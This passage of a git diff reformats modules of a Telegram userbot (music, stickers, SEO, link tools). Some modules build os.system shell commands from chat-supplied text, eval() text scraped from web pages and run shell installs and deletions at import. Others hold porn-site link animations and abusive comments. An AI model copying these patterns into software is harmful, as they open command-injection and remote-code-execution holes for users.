_(event):# @danish_00 original @borg.on(admin_cmd(pattern=r"xvideos")) - async def _(event): - if event.fwd_from: # @danish_00 original + if event.fwd_from: # @danish_00 original return @@ -70,22 +57,14 @@ async def _(event): await event.edit("`Connecting...`") animation_chars = [ - - "X_", - - "XV_", - - "XVI_", - - "XVID_", - - "XVIDE_", - - "XVIDEO_", - - "[XVIDEOS](www.xvideos4.com)🖕👄💦💦" - - ]# @danish_00 original + "X_", + "XV_", + "XVI_", + "XVID_", + "XVIDE_", + "XVIDEO_", + "[XVIDEOS](www.xvideos4.com)🖕👄💦💦", + ] # @danish_00 original for i in animation_ttl: @@ -94,18 +73,10 @@ async def _(event): await event.edit(animation_chars[i % 7]) - - -from telethon import events - import asyncio - - - -@borg.on(admin_cmd(pattern=r"xnxx"))# @danish_00 original - +@borg.on(admin_cmd(pattern=r"xnxx")) # @danish_00 original async def _(event): if event.fwd_from: @@ -116,24 +87,10 @@ async def _(event): animation_ttl = range(0, 5) - await event.edit("`Connecting...`")# @danish_00 original - - animation_chars = [ - - "X_", - - "XN_", - - "XNX_", + await event.edit("`Connecting...`") # @danish_00 original - "XNXX_", - - "[XNXX](www.xnxx.wapca.cc)👉🏻👌💦👄💦" - - - - ] -# @danish_00 original + animation_chars = ["X_", "XN_", "XNX_", "XNXX_", "[XNXX](www.xnxx.wapca.cc)👉🏻👌💦👄💦"] + # @danish_00 original for i in animation_ttl: await asyncio.sleep(animation_interval) diff --git a/fridaybot/modules/prankpromote.py b/fridaybot/modules/prankpromote.py index 896e1066..a02956e4 100644 --- a/fridaybot/modules/prankpromote.py +++ b/fridaybot/modules/prankpromote.py @@ -1,14 +1,15 @@ """Reply to a user to .promote them in the current chat""" import logging -logging.basicConfig(format='[%(levelname) 5s/%(asctime)s] %(name)s: %(message)s', - level=logging.WARNING) -from telethon import events -import asyncio + +logging.basicConfig( + format="[%(levelname) 5s/%(asctime)s] %(name)s: %(message)s", level=logging.WARNING +) from datetime import datetime + from telethon.tl.functions.channels import EditAdminRequest from telethon.tl.types import ChatAdminRights -from ..utils import admin_cmd +from ..utils import admin_cmd """ @borg.on(admin_cmd(pattern="promote ?(.*)")) @@ -42,15 +43,14 @@ async def _(event): await event.edit("Successfully Promoted") """ + @borg.on(admin_cmd(pattern="prankpromote ?(.*)")) async def _(event): if event.fwd_from: return - start = datetime.now() + datetime.now() to_promote_id = None - rights = ChatAdminRights( - post_messages=True - ) + rights = ChatAdminRights(post_messages=True) input_str = event.pattern_match.group(1) reply_msg_id = event.message.id if reply_msg_id: diff --git a/fridaybot/modules/privatewelcome.py b/fridaybot/modules/privatewelcome.py index ab8a7820..c055b5ec 100644 --- a/fridaybot/modules/privatewelcome.py +++ b/fridaybot/modules/privatewelcome.py @@ -1,7 +1,8 @@ from telethon import events -from ..utils import admin_cmd, edit_or_reply, sudo_cmd from fridaybot import BOTLOG_CHATID, CMD_HELP, bot + +from ..utils import admin_cmd, edit_or_reply, sudo_cmd from .sql_helper import pmpermit_sql as pmpermit_sql from .sql_helper.welcomesql import ( addwelcome_setting, diff --git a/fridaybot/modules/qbot.py b/fridaybot/modules/qbot.py index c28398ec..363dfcd6 100644 --- a/fridaybot/modules/qbot.py +++ b/fridaybot/modules/qbot.py @@ -1,37 +1,42 @@ -#port to DARK COBRA by @hellboi-atul +# port to DARK COBRA by @hellboi-atul -import datetime from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError -from telethon.tl.functions.account import UpdateNotifySettingsRequest -from fridaybot import bot, CMD_HELP + +from fridaybot import bot + from ..utils import admin_cmd + @borg.on(admin_cmd(pattern=r"qubot(?: |$)(.*)")) async def _(event): if event.fwd_from: - return + return if not event.reply_to_msg_id: - await event.edit("```Reply to any user message.```") - return - reply_message = await event.get_reply_message() - + await event.edit("```Reply to any user message.```") + return + reply_message = await event.get_reply_message() + chat = "@QuotLyBot" - sender = reply_message.sender + reply_message.sender if reply_message.sender.bot: - await event.edit("```Reply to actual users message.```") - return + await event.edit("```Reply to actual users message.```") + return await event.edit("```Making a Quote```") async with bot.conversation(chat) as conv: - try: - response = conv.wait_event(events.NewMessage(incoming=True,from_users=1031952739)) - await bot.forward_messages(chat, reply_message) - response = await response - except YouBlockedUserError: - await event.reply("```Please unblock @QuotLyBot and try again```") - return - if response.text.startswith("Hi!"): - await event.edit("```Can you kindly disable your forward privacy settings for good?```") - else: - await event.delete() - await bot.forward_messages(event.chat_id, response.message) + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=1031952739) + ) + await bot.forward_messages(chat, reply_message) + response = await response + except YouBlockedUserError: + await event.reply("```Please unblock @QuotLyBot and try again```") + return + if response.text.startswith("Hi!"): + await event.edit( + "```Can you kindly disable your forward privacy settings for good?```" + ) + else: + await event.delete() + await bot.forward_messages(event.chat_id, response.message) diff --git a/fridaybot/modules/rapidleech.py b/fridaybot/modules/rapidleech.py index 30311bd5..6be60351 100644 --- a/fridaybot/modules/rapidleech.py +++ b/fridaybot/modules/rapidleech.py @@ -9,14 +9,15 @@ """RapidLeech plugin: Inspired by @SjProjects""" -import aiohttp import asyncio import json import re + +import aiohttp from bs4 import BeautifulSoup from telethon.utils import get_inner_text -from ..utils import admin_cmd +from ..utils import admin_cmd logger.info(Config.OPEN_LOAD_LOGIN) # https://t.me/RoseSupport/33801 @@ -32,8 +33,7 @@ async def _(event): if len(cmt) > 1: list_of_urls = cmt[1:] else: - list_of_urls = get_inner_text( - reply_message.message, reply_message.entities) + list_of_urls = get_inner_text(reply_message.message, reply_message.entities) converted_links = "" if len(list_of_urls) > 0: converted_links += "Trying to generate IP specific link\n" @@ -51,7 +51,10 @@ async def _(event): async def get_direct_ip_specific_link(link: str): # https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/extractor/openload.py#L246-L255 OPEN_LOAD_DOMAINS = r"(?:openload\.(?:co|io|link|pw)|oload\.(?:tv|biz|stream|site|xyz|win|download|cloud|cc|icu|fun|club|info|press|pw|life|live|space|services|website)|oladblock\.(?:services|xyz|me)|openloed\.co)" - OPEN_LOAD_VALID_URL = r"(?x)https?://(?P(?:www\.)?%s)/(?:f|embed)/(?P[a-zA-Z0-9-_]+)" % OPEN_LOAD_DOMAINS + OPEN_LOAD_VALID_URL = ( + r"(?x)https?://(?P(?:www\.)?%s)/(?:f|embed)/(?P[a-zA-Z0-9-_]+)" + % OPEN_LOAD_DOMAINS + ) # https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/extractor/openload.py#L246-L255 # https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/extractor/googledrive.py#L16-L27 GOOGLE_DRIVE_VALID_URLS = r"(?x)https?://(?:(?:docs|drive)\.google\.com/(?:(?:uc|open)\?.*?id=|file/d/)|video\.google\.com/get_player\?.*?docid=)(?P[a-zA-Z0-9_-]{28,})" @@ -62,29 +65,28 @@ async def get_direct_ip_specific_link(link: str): http_response = await session.get(link) http_response_text = await http_response.text() response_b_soup = BeautifulSoup(http_response_text, "html.parser") - scripts = response_b_soup.find_all( - "script", {"type": "text/javascript"}) + scripts = response_b_soup.find_all("script", {"type": "text/javascript"}) # calculations # check https://github.com/LameLemon/ziggy/blob/master/ziggy.py for script in scripts: if "getElementById('dlbutton')" in script.text: regex_search_exp = re.search( - '= (?P\".+\" \+ (?P\(.+\)) .+);', script.text) + '= (?P".+" \+ (?P\(.+\)) .+);', script.text + ) url_raw = regex_search_exp.group("url") math = regex_search_exp.group("math") dl_url = url_raw.replace(math, '"' + str(eval(math)) + '"') break # base_url = re.search("http.+.com", link).group() - dl_url = { - "url": base_url + eval(dl_url) - } + dl_url = {"url": base_url + eval(dl_url)} elif re.search(OPEN_LOAD_VALID_URL, link): # https://stackoverflow.com/a/47726003/4723940 async with aiohttp.ClientSession() as session: openload_id = re.search(OPEN_LOAD_VALID_URL, link).group("id") step_one_url = "https://api.openload.co/1/file/dlticket?file={}&login={}&key={}".format( - openload_id, Config.OPEN_LOAD_LOGIN, Config.OPEN_LOAD_KEY) + openload_id, Config.OPEN_LOAD_LOGIN, Config.OPEN_LOAD_KEY + ) http_response = await session.get(step_one_url) http_response_text = await http_response.text() http_response_json = json.loads(http_response_text) @@ -93,8 +95,11 @@ async def get_direct_ip_specific_link(link: str): # wait till wait time await asyncio.sleep(int(http_response_json["result"]["wait_time"])) # TODO: check if captcha is required - step_two_url = "https://api.openload.co/1/file/dl?file={}&ticket={}".format( - openload_id, http_response_json["result"]["ticket"]) + step_two_url = ( + "https://api.openload.co/1/file/dl?file={}&ticket={}".format( + openload_id, http_response_json["result"]["ticket"] + ) + ) http_response = await session.get(step_two_url) http_response_text = await http_response.text() http_response_json = json.loads(http_response_text) @@ -106,57 +111,48 @@ async def get_direct_ip_specific_link(link: str): dl_url = { "url": dl_file_url, "name": dl_file_name, - "size": dl_file_size + "size": dl_file_size, } else: - dl_url = { - "err": http_response_text - } + dl_url = {"err": http_response_text} else: - dl_url = { - "err": http_response_text - } + dl_url = {"err": http_response_text} # https://stackoverflow.com/a/47726003/4723940 elif re.search(GOOGLE_DRIVE_VALID_URLS, link): file_id = re.search(GOOGLE_DRIVE_VALID_URLS, link).group("id") async with aiohttp.ClientSession(cookie_jar=aiohttp.CookieJar()) as session: - step_zero_url = "https://drive.google.com/uc?export=download&id={}".format(file_id) + step_zero_url = "https://drive.google.com/uc?export=download&id={}".format( + file_id + ) http_response = await session.get(step_zero_url, allow_redirects=False) if "location" in http_response.headers: # in case of small file size, Google downloads directly file_url = http_response.headers["location"] if "accounts.google.com" in file_url: - dl_url = { - "err": "Private Google Drive URL" - } + dl_url = {"err": "Private Google Drive URL"} else: - dl_url = { - "url": file_url - } + dl_url = {"url": file_url} else: # in case of download warning page http_response_text = await http_response.text() response_b_soup = BeautifulSoup(http_response_text, "html.parser") - warning_page_url = "https://drive.google.com" + response_b_soup.find("a", {"id": "uc-download-link"}).get("href") - file_name_and_size = response_b_soup.find("span", {"class": "uc-name-size"}).text - http_response_two = await session.get(warning_page_url, allow_redirects=False) + warning_page_url = "https://drive.google.com" + response_b_soup.find( + "a", {"id": "uc-download-link"} + ).get("href") + file_name_and_size = response_b_soup.find( + "span", {"class": "uc-name-size"} + ).text + http_response_two = await session.get( + warning_page_url, allow_redirects=False + ) if "location" in http_response_two.headers: file_url = http_response_two.headers["location"] if "accounts.google.com" in file_url: - dl_url = { - "err": "Private Google Drive URL" - } + dl_url = {"err": "Private Google Drive URL"} else: - dl_url = { - "url": file_url, - "name": file_name_and_size - } + dl_url = {"url": file_url, "name": file_name_and_size} else: - dl_url = { - "err": "Unsupported Google Drive URL" - } + dl_url = {"err": "Unsupported Google Drive URL"} else: - dl_url = { - "err": "Unsupported URL" - } + dl_url = {"err": "Unsupported URL"} return dl_url diff --git a/fridaybot/modules/reminder.py b/fridaybot/modules/reminder.py index 28a13997..45f46c4b 100644 --- a/fridaybot/modules/reminder.py +++ b/fridaybot/modules/reminder.py @@ -1,12 +1,15 @@ # Created By @krish1303y For Black Lightning # For Setting Remainder In TG +import asyncio + from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError -import asyncio -from ..utils import admin_cmd + from fridaybot import CMD_HELP +from ..utils import admin_cmd + @borg.on(admin_cmd(pattern="skeedy?(.*)")) async def _(event): @@ -42,11 +45,10 @@ async def _(event): await event.edit("👀") else: await event.delete() - await event.client.send_file(event.chat_id, response.message) + await event.client.send_file(event.chat_id, response.message) CMD_HELP.update( - { - "skeedy": ".skeedy ` \nUse - Set A Remainder" - - } -) + { + "skeedy": ".skeedy ` \nUse - Set A Remainder" + } + ) diff --git a/fridaybot/modules/remove.bg.py b/fridaybot/modules/remove.bg.py index 33a39bd8..0a016c1e 100644 --- a/fridaybot/modules/remove.bg.py +++ b/fridaybot/modules/remove.bg.py @@ -75,7 +75,9 @@ async def _(event): end = datetime.now() ms = (end - start).seconds await event.edit( - "Removed image's Background in {} seconds, powered by VirtualUserbot".format(ms) + "Removed image's Background in {} seconds, powered by VirtualUserbot".format( + ms + ) ) else: await event.edit( diff --git a/fridaybot/modules/reveal.py b/fridaybot/modules/reveal.py index 744fe34b..22842dfa 100644 --- a/fridaybot/modules/reveal.py +++ b/fridaybot/modules/reveal.py @@ -7,7 +7,8 @@ import os from fridaybot import CMD_HELP -from ..utils import admin_cmd, sudo_cmd + +from ..utils import admin_cmd @bot.on(admin_cmd(pattern=r"reveal", outgoing=True)) diff --git a/fridaybot/modules/screenshot.py b/fridaybot/modules/screenshot.py index ac1e160a..a562dda9 100644 --- a/fridaybot/modules/screenshot.py +++ b/fridaybot/modules/screenshot.py @@ -10,9 +10,10 @@ from selenium import webdriver from validators.url import url -from ..utils import admin_cmd, edit_or_reply, sudo_cmd from fridaybot import CMD_HELP +from ..utils import admin_cmd, edit_or_reply, sudo_cmd + @bot.on(admin_cmd(pattern="ss (.*)")) @bot.on(sudo_cmd(pattern="ss (.*)", allow_sudo=True)) diff --git a/fridaybot/modules/seotools.py b/fridaybot/modules/seotools.py index 445c974d..e602ea2f 100644 --- a/fridaybot/modules/seotools.py +++ b/fridaybot/modules/seotools.py @@ -1,13 +1,9 @@ -from seoanalyzer import analyze import os -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP from fridaybot.utils import admin_cmd - @friday.on(admin_cmd(pattern="seo (.*)")) async def _(event): if event.fwd_from: @@ -16,27 +12,23 @@ async def _(event): await event.edit("processing please wait ") site = input_str try: - - cmd = "seoanalyze " + site + " --output-format html > seo.html" - os.system(cmd) - - await event.client.send_file( - event.chat_id, - "seo.html", - caption=f"**Site SEO Analysed Successfully\n\nNote: Open This File With Chrome Or Any Browser\n\n\nSite Analysed By VirtualUserbot\nGet Your superpowers With** [VirtualUserbot](github.com/inukaasith/virtualuserbot)", - ) - com = "rm seo.html" - os.system(com) - await event.delete() + + cmd = "seoanalyze " + site + " --output-format html > seo.html" + os.system(cmd) + + await event.client.send_file( + event.chat_id, + "seo.html", + caption=f"**Site SEO Analysed Successfully\n\nNote: Open This File With Chrome Or Any Browser\n\n\nSite Analysed By VirtualUserbot\nGet Your superpowers With** [VirtualUserbot](github.com/inukaasith/virtualuserbot)", + ) + com = "rm seo.html" + os.system(com) + await event.delete() except: - await event.edit("Make Sure The Given Website URL is valid.") + await event.edit("Make Sure The Given Website URL is valid.") com = "rm seo.html" os.system(com) await event.delete() - - - - CMD_HELP.update( diff --git a/fridaybot/modules/sizeresize.py b/fridaybot/modules/sizeresize.py index 0fc1d405..949d0511 100644 --- a/fridaybot/modules/sizeresize.py +++ b/fridaybot/modules/sizeresize.py @@ -1,50 +1,57 @@ +import os + import PIL -from fridaybot.utils import admin_cmd -from fridaybot import CMD_HELP -import pygments, os, asyncio -from pygments.lexers import Python3Lexer -from pygments.formatters import ImageFormatter -from ..utils import admin_cmd + from fridaybot import bot from fridaybot import bot as borg +from fridaybot.utils import admin_cmd + +from ..utils import admin_cmd + + @bot.on(admin_cmd(pattern="size ?(.*)", outgoing=True)) # DONOT KANG by Sh1vam -#Team DC +# Team DC async def __(event): - + path = "shivamdownloadesimg" reply = await event.get_reply_message() - + download = await borg.download_media(reply.media, path) image = PIL.Image.open(download) - shvm=PIL.Image.open(download) - shi,vam = image.size - #img=shvm.resize((int(sh1),int(vam))) + PIL.Image.open(download) + shi, vam = image.size + # img=shvm.resize((int(sh1),int(vam))) await event.edit(f"Dimensions Of Image are {shi} by {vam}") os.remove(download) + + @bot.on(admin_cmd(pattern="resize ?(.*)", outgoing=True)) # DONOT KANG by Sh1vam async def __(event): - + path = "shivamdownloades" licence = event.text - liscence=licence[8:] + liscence = licence[8:] await event.delete() reply = await event.get_reply_message() - + download = await borg.download_media(reply.media, path) - #image = PIL.Image.open(download) - shvm=PIL.Image.open(download) - shi,vam = liscence.split(":") - img=shvm.resize((int(shi),int(vam))) - #await event.edit(f"Dimensions Of Image are {shi} by {vam}") + # image = PIL.Image.open(download) + shvm = PIL.Image.open(download) + shi, vam = liscence.split(":") + img = shvm.resize((int(shi), int(vam))) + # await event.edit(f"Dimensions Of Image are {shi} by {vam}") img.save("sh1vam.png", format="PNG", optimize=True) - await event.client.send_file(event.chat_id, "sh1vam.png", force_document=True, reply_to=event.reply_to_msg_id) - await event.client.send_file(event.chat_id, "sh1vam.png", force_document=False, reply_to=event.reply_to_msg_id) + await event.client.send_file( + event.chat_id, "sh1vam.png", force_document=True, reply_to=event.reply_to_msg_id + ) + await event.client.send_file( + event.chat_id, + "sh1vam.png", + force_document=False, + reply_to=event.reply_to_msg_id, + ) os.remove(download) os.remove("sh1vam.png") - - - - diff --git a/fridaybot/modules/songs.py b/fridaybot/modules/songs.py index a5c06f33..7fa31547 100644 --- a/fridaybot/modules/songs.py +++ b/fridaybot/modules/songs.py @@ -1,36 +1,39 @@ -# plugin made by @hellboi_atul bug fixes by @Mrconfused +# plugin made by @hellboi_atul bug fixes by @Mrconfused # Copyright (C) DARK COBRA 2020. # if you change these lines you are gay...bc fuck off! # leechers stay away😑...if you use this code without credit...u gay bitch fuck off...! - -import re -import random -from fridaybot import bot, CMD_HELP -from telethon.errors.rpcerrorlist import YouBlockedUserError -from ..utils import admin_cmd import asyncio +import os +import re + +from telethon.errors.rpcerrorlist import ( + UserAlreadyParticipantError, + YouBlockedUserError, +) from telethon.tl.functions.messages import ImportChatInviteRequest -from telethon.errors.rpcerrorlist import UserAlreadyParticipantError from telethon.tl.types import InputMessagesFilterMusic -import os + +from fridaybot import CMD_HELP, bot + +from ..utils import admin_cmd + try: - import subprocess + pass except: - os.system("pip install instantmusic") - + os.system("pip install instantmusic") os.system("rm -rf *.mp3") def bruh(name): - - os.system("instantmusic -q -s "+name) - -#@register(outgoing=True, pattern="^.netease(?: |$)(.*)") + os.system("instantmusic -q -s " + name) + + +# @register(outgoing=True, pattern="^.netease(?: |$)(.*)") @borg.on(admin_cmd("songs ?(.*)")) async def WooMai(netase): if netase.fwd_from: @@ -40,32 +43,35 @@ async def WooMai(netase): link = f"/netease {song}" await netase.edit("```Getting Your Music```") async with bot.conversation(chat) as conv: - await asyncio.sleep(2) - await netase.edit("`Downloading...Please wait`") - try: - msg = await conv.send_message(link) - response = await conv.get_response() - respond = await conv.get_response() - """ - don't spam notif - """ - await bot.send_read_acknowledge(conv.chat_id) - except YouBlockedUserError: - await netase.edit("```Please unblock @WooMaiBot and try again```") - return - await netase.edit("`Sending Your Music...weit!😎`") - await asyncio.sleep(3) - await bot.send_file(netase.chat_id, respond) - await netase.client.delete_messages(conv.chat_id, - [msg.id, response.id, respond.id]) + await asyncio.sleep(2) + await netase.edit("`Downloading...Please wait`") + try: + msg = await conv.send_message(link) + response = await conv.get_response() + respond = await conv.get_response() + """ - don't spam notif - """ + await bot.send_read_acknowledge(conv.chat_id) + except YouBlockedUserError: + await netase.edit("```Please unblock @WooMaiBot and try again```") + return + await netase.edit("`Sending Your Music...weit!😎`") + await asyncio.sleep(3) + await bot.send_file(netase.chat_id, respond) + await netase.client.delete_messages(conv.chat_id, [msg.id, response.id, respond.id]) await netase.delete() + @borg.on(admin_cmd("song ?(.*)")) async def _(event): try: - await event.client(ImportChatInviteRequest('DdR2SUvJPBouSW4QlbJU4g')) + await event.client(ImportChatInviteRequest("DdR2SUvJPBouSW4QlbJU4g")) except UserAlreadyParticipantError: pass except: - await event.reply("You need to join [this](https://t.me/joinchat/DdR2SUvJPBouSW4QlbJU4g) group for this module to work.", link_preview=False) + await event.reply( + "You need to join [this](https://t.me/joinchat/DdR2SUvJPBouSW4QlbJU4g) group for this module to work.", + link_preview=False, + ) return args = event.pattern_match.group(1) if not args: @@ -75,11 +81,13 @@ async def _(event): current_chat = event.chat_id current_msg = event.id try: - async for event in event.client.iter_messages(chat, search=args, limit=1, filter=InputMessagesFilterMusic): - await event.client.send_file(current_chat, event, caption=event.message) + async for event in event.client.iter_messages( + chat, search=args, limit=1, filter=InputMessagesFilterMusic + ): + await event.client.send_file(current_chat, event, caption=event.message) except: - await event.reply("`Song not found.`") - return + await event.reply("`Song not found.`") + return await event.client.delete_messages(current_chat, current_msg) @@ -95,16 +103,17 @@ async def _(event): "\U0001F900-\U0001F9FF" # Supplemental Symbols and Pictographs "\U0001FA00-\U0001FA6F" # Chess Symbols "\U0001FA70-\U0001FAFF" # Symbols and Pictographs Extended-A - "\U00002702-\U000027B0" # Dingbats - "]+") + "\U00002702-\U000027B0" # Dingbats + "]+" +) + def deEmojify(inputString: str) -> str: """Remove emojis and other non-safe characters from string""" - return re.sub(IF_EMOJI, '', inputString) + return re.sub(IF_EMOJI, "", inputString) @borg.on(admin_cmd(pattern="sptfy ?(.*)")) - async def FindMusicPleaseBot(gaana): song = gaana.pattern_match.group(1) @@ -125,7 +134,7 @@ async def FindMusicPleaseBot(gaana): try: - msg = await conv.send_message(song) + await conv.send_message(song) response = await conv.get_response() @@ -135,13 +144,15 @@ async def FindMusicPleaseBot(gaana): return await gaana.edit(f"Sorry, can't find {song}") - respond = await conv.get_response() + await conv.get_response() cobra = await conv.get_response() except YouBlockedUserError: - await gaana.edit("```Please unblock``` @FindmusicpleaseBot``` and try again```") + await gaana.edit( + "```Please unblock``` @FindmusicpleaseBot``` and try again```" + ) return @@ -155,24 +166,26 @@ async def FindMusicPleaseBot(gaana): @borg.on(admin_cmd(pattern="deez(?: |$)(.*)")) - async def nope(doit): ok = doit.pattern_match.group(1) if not ok: if doit.is_reply: - what = (await doit.get_reply_message()).message + (await doit.get_reply_message()).message else: - await doit.edit("`Sir please give some query to search and download it for you..!`") + await doit.edit( + "`Sir please give some query to search and download it for you..!`" + ) return - sticcers = await bot.inline_query( - "DeezerMusicBot", f"{(deEmojify(ok))}") - await sticcers[0].click(doit.chat_id, - reply_to=doit.reply_to_msg_id, - silent=True if doit.is_reply else False, - hide_via=True) + sticcers = await bot.inline_query("DeezerMusicBot", f"{(deEmojify(ok))}") + await sticcers[0].click( + doit.chat_id, + reply_to=doit.reply_to_msg_id, + silent=True if doit.is_reply else False, + hide_via=True, + ) await doit.delete() - - + + @borg.on(admin_cmd(pattern="gaana ?(.*)")) async def FindMusicPleaseBot(gaana): @@ -194,7 +207,7 @@ async def FindMusicPleaseBot(gaana): try: - msg = await conv.send_message(song) + await conv.send_message(song) response = await conv.get_response() @@ -204,13 +217,15 @@ async def FindMusicPleaseBot(gaana): return await gaana.edit(f"Sorry, can't find {song}") - respond = await conv.get_response() + await conv.get_response() cobra = await conv.get_response() except YouBlockedUserError: - await gaana.edit("```Please unblock``` @FindmusicpleaseBot``` and try again```") + await gaana.edit( + "```Please unblock``` @FindmusicpleaseBot``` and try again```" + ) return @@ -222,7 +237,6 @@ async def FindMusicPleaseBot(gaana): await gaana.delete() - CMD_HELP.update( { diff --git a/fridaybot/modules/spam.py b/fridaybot/modules/spam.py index 16064eb3..9debebb6 100644 --- a/fridaybot/modules/spam.py +++ b/fridaybot/modules/spam.py @@ -2,15 +2,17 @@ # baning spmmers plugin for catuserbot by @sandy1709 and @mrconfused # included both cas(combot antispam service) and spamwatch (need to add more feaututres) +import spamwatch from requests import get from telethon import events from telethon.errors import ChatAdminRequiredError from telethon.tl.types import ChannelParticipantsAdmins -from ..utils import admin_cmd, edit_or_reply, is_admin, sudo_cmd from fridaybot import BOTLOG, BOTLOG_CHATID, CMD_HELP, LOGS from fridaybot.modules.sql_helper.gban_sql_helper import get_gbanuser, is_gbanned -import spamwatch + +from ..utils import admin_cmd, edit_or_reply, is_admin, sudo_cmd + if Config.ANTISPAMBOT_BAN: @bot.on(events.ChatAction()) diff --git a/fridaybot/modules/sql_helper/floodsql.py b/fridaybot/modules/sql_helper/floodsql.py index a482ea9e..f11fefa5 100644 --- a/fridaybot/modules/sql_helper/floodsql.py +++ b/fridaybot/modules/sql_helper/floodsql.py @@ -89,5 +89,3 @@ def __load_flood_settings(): finally: SESSION.close() return CHAT_FLOOD - - diff --git a/fridaybot/modules/sql_helper/gban_sql_helper.py b/fridaybot/modules/sql_helper/gban_sql_helper.py index b229f6e0..210b3a89 100644 --- a/fridaybot/modules/sql_helper/gban_sql_helper.py +++ b/fridaybot/modules/sql_helper/gban_sql_helper.py @@ -13,7 +13,6 @@ # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see . from sqlalchemy import Column, String - from userbot.plugins.sql_helper import BASE, SESSION diff --git a/fridaybot/modules/sql_helper/welcomesql.py b/fridaybot/modules/sql_helper/welcomesql.py index b2503711..06f75da5 100644 --- a/fridaybot/modules/sql_helper/welcomesql.py +++ b/fridaybot/modules/sql_helper/welcomesql.py @@ -1,6 +1,7 @@ -from fridaybot.modules.sql_helper import BASE, SESSION from sqlalchemy import BigInteger, Column, Numeric, String, UnicodeText +from fridaybot.modules.sql_helper import BASE, SESSION + class JoinWelcome(BASE): __tablename__ = "joinwelcome" diff --git a/fridaybot/modules/ssvideo.py b/fridaybot/modules/ssvideo.py index 00faa60e..ba414503 100644 --- a/fridaybot/modules/ssvideo.py +++ b/fridaybot/modules/ssvideo.py @@ -9,6 +9,7 @@ import time from telethon.tl.types import DocumentAttributeFilename + from fridaybot import CMD_HELP, bot from fridaybot.events import register from fridaybot.function import progress @@ -27,12 +28,17 @@ async def ssvideo(framecap): return await framecap.edit("`hey..dont put that much`") except BaseException: return await framecap.edit("`Please input number of frame!`") - if (reply_message.photo - or (DocumentAttributeFilename(file_name="AnimatedSticker.tgs") - in reply_message.media.document.attributes) - or (DocumentAttributeFilename(file_name="sticker.webp") - in reply_message.media.document.attributes) - ): + if ( + reply_message.photo + or ( + DocumentAttributeFilename(file_name="AnimatedSticker.tgs") + in reply_message.media.document.attributes + ) + or ( + DocumentAttributeFilename(file_name="sticker.webp") + in reply_message.media.document.attributes + ) + ): return await framecap.edit("`Unsupported files!`") c_time = time.time() await framecap.edit("`Downloading media...`") @@ -58,9 +64,10 @@ async def ssvideo(framecap): os.system("rm -rf *.png *.mp4") -CMD_HELP.update({ - "ssvideo": - "`.ssvideo` " - "\nUsage: Capture video frames by x ." - "\n*max grid is 10." -}) +CMD_HELP.update( + { + "ssvideo": "`.ssvideo` " + "\nUsage: Capture video frames by x ." + "\n*max grid is 10." + } +) diff --git a/fridaybot/modules/sticker_2.py b/fridaybot/modules/sticker_2.py index 681cee3f..3fd25718 100644 --- a/fridaybot/modules/sticker_2.py +++ b/fridaybot/modules/sticker_2.py @@ -27,7 +27,16 @@ from fridaybot.utils import friday_on_cmd COLORS = [ - "#F07975", "#F49F69", "#F9C84A", "#8CC56E", "#6CC7DC", "#80C1FA", "#BCB3F9", "#E181AC"] + "#F07975", + "#F49F69", + "#F9C84A", + "#8CC56E", + "#6CC7DC", + "#80C1FA", + "#BCB3F9", + "#E181AC", +] + class Quote: async def process(msg, user, client, reply, replied=None): diff --git a/fridaybot/modules/sticklet.py b/fridaybot/modules/sticklet.py index 6f4f4321..e4ed7929 100644 --- a/fridaybot/modules/sticklet.py +++ b/fridaybot/modules/sticklet.py @@ -10,14 +10,15 @@ from PIL import Image, ImageDraw, ImageFont from telethon.tl.types import InputMessagesFilterDocument + from ..utils import admin_cmd @borg.on(admin_cmd(pattern="sticklet (.*)")) async def sticklet(event): - R = random.randint(0,256) - G = random.randint(0,256) - B = random.randint(0,256) + R = random.randint(0, 256) + G = random.randint(0, 256) + B = random.randint(0, 256) # get the input text # the text on which we would like to do the magic on @@ -29,7 +30,7 @@ async def sticklet(event): # https://docs.python.org/3/library/textwrap.html#textwrap.wrap sticktext = textwrap.wrap(sticktext, width=10) # converts back the list to a string - sticktext = '\n'.join(sticktext) + sticktext = "\n".join(sticktext) image = Image.new("RGBA", (512, 512), (255, 255, 255, 0)) draw = ImageDraw.Draw(image) @@ -44,7 +45,9 @@ async def sticklet(event): font = ImageFont.truetype(FONT_FILE, size=fontsize) width, height = draw.multiline_textsize(sticktext, font=font) - draw.multiline_text(((512-width)/2,(512-height)/2), sticktext, font=font, fill=(R, G, B)) + draw.multiline_text( + ((512 - width) / 2, (512 - height) / 2), sticktext, font=font, fill=(R, G, B) + ) image_stream = io.BytesIO() image_stream.name = "leobrownlee.webp" @@ -52,7 +55,12 @@ async def sticklet(event): image_stream.seek(0) # finally, reply the sticker - await event.client.send_message(event.chat_id, "{}".format(sticktext), file=image_stream, reply_to=event.message.reply_to_msg_id) + await event.client.send_message( + event.chat_id, + "{}".format(sticktext), + file=image_stream, + reply_to=event.message.reply_to_msg_id, + ) # cleanup try: @@ -68,7 +76,7 @@ async def get_font_file(client, channel_id): filter=InputMessagesFilterDocument, # this might cause FLOOD WAIT, # if used too many times - limit=None + limit=None, ) # get a random font from the list of fonts # https://docs.python.org/3/library/random.html#random.choice diff --git a/fridaybot/modules/study.py b/fridaybot/modules/study.py index a712eb56..d29d4b89 100644 --- a/fridaybot/modules/study.py +++ b/fridaybot/modules/study.py @@ -5,6 +5,7 @@ from telethon.tl import functions, types from fridaybot import ALIVE_NAME + from ..utils import admin_cmd global USER_night # pylint:disable=E0602 diff --git a/fridaybot/modules/superheroes.py b/fridaybot/modules/superheroes.py index b39f0dad..f0e31975 100644 --- a/fridaybot/modules/superheroes.py +++ b/fridaybot/modules/superheroes.py @@ -13,17 +13,8 @@ import requests -from uniborg.util import friday_on_cmd - -import html - -from telethon.tl.functions.photos import GetUserPhotosRequest -from telethon.tl.functions.users import GetFullUserRequest -from telethon.tl.types import MessageEntityMentionName -from telethon.utils import get_input_location from fridaybot.Configs import Config -from fridaybot import CMD_HELP, sclient -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd, admin_cmd +from fridaybot.utils import admin_cmd @friday.on(admin_cmd(pattern="hero (.*)")) @@ -34,15 +25,17 @@ async def _(event): url = "https://superhero-search.p.rapidapi.com/" querystring = {"hero": input_str} if Config.SUPERHERO_API_KEY is None: - await event.edit("Need to get an API key 